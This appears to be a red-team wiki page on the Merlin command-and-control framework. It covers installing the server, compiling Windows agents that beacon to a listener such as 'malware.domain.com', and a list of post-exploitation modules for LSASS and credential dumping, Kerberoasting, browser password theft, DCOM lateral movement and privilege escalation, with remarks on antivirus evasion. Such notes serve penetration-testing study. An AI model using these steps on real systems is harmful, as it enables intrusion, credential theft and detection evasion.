4.8 KiB
| description |
|---|
| https://github.com/Ne0nd0g/merlin |
Merlin
Installation
Install GO
#Download GO package from: https://golang.org/dl/
#Decompress the packe using:
tar -C /usr/local -xzf go$VERSION.$OS-$ARCH.tar.gz
#Change /etc/profile
Add ":/usr/local/go/bin" to PATH
Add "export GOPATH=$HOME/go"
Add "export GOBIN=$GOPATH/bin"
source /etc/profile
Install Merlin
go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch
cd $GOPATH/src/github.com/Ne0nd0g/merlin/
Launch Merlin Server
go run cmd/merlinserver/main.go -i
Merlin Agents
You can download precompiled agents
Compile Agents
Go to the main folder $GOPATH/src/github.com/Ne0nd0g/merlin/
#User URL param to set the listener URL
make #Server and Agents of all
make windows #Server and Agents for Windows
make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips)
Manual compile agents
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g
Modules
The bad news is that every module used by Merlin is downloaded from the source github and saved indisk before using it. Forge about usingwell known modules because Windows Defender will catch you!
SafetyKatz --> Modified Mimikatz. Dump LSASS to file and launch:sekurlsa::logonpasswords to that file
SharpDump --> minidump for the process ID specified LSASS by default Itsais that the extension of the final file is .gz but indeed it is.bin, but is agz file
SharpRoast -->Kerberoast doesn't work
SeatBelt --> Local Security Tests in CS does not work https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs
Compiler-CSharp --> Compile using csc.exe /unsafe
Sharp-Up -->Allchecks in C# in powerup works
Inveigh --> PowerShellADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool doesn't works, need to load: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1
Invoke-InternalMonologue --> impersonates all available users and retrieves a challenge-response for each NTLM hash for each user bad url
Invoke-PowerThIEf --> Steal forms from IExplorer or make it execute JS or inject a DLL in that process doesnt work and the PS looks like doesnt work either https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1
LaZagneForensic --> Get browser passwords works but dont prints the output directory
dumpCredStore --> Win32 Credential Manager API https://github.com/zetlen/clortho/blob/master/CredMan.ps1 https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details
Get-InjectedThread --> Detect classic injection in running processes (Classic Injection (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)) doesnt works
Get-OSTokenInformation --> Get Token Info of the running processes and threads User, groups, privileges, owner… https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token\_information\_class
Invoke-DCOM --> Execute a command inother computer via DCOM http://www.enigma0x3.net. https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
Invoke-DCOMPowerPointPivot --> Execute a command in othe PC abusing PowerPoint COM objects ADDin
Invoke-ExcelMacroPivot --> Execute a command in othe PC abusing DCOM in Excel
Find-ComputersWithRemoteAccessPolicies --> not working https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/
Grouper --> It dumps all the most interesting parts of group policy and then roots around in them for exploitable stuff. deprecated Take a look at Grouper2, looks really nice
Invoke-WMILM --> WMI to move laterally
Get-GPPPassword --> Look for groups.xml, scheduledtasks.xml, services.xmland datasources.xml and returns plaintext passwords insidedomain
Invoke-Mimikatz --> Use mimikatz default dump creds
PowerUp --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
Find-BadPrivilege --> Check the privileges of users in computers
Find-PotentiallyCrackableAccounts --> retrieve information about user accounts associated with SPN Kerberoasting
psgetsystem --> getsystem
Didn't check persistence modules
Resume
I really like the feeling and the potential of the tool.
I hope the tool will start downloading the modules from the server and integrates some kind of evasion when downloading scripts.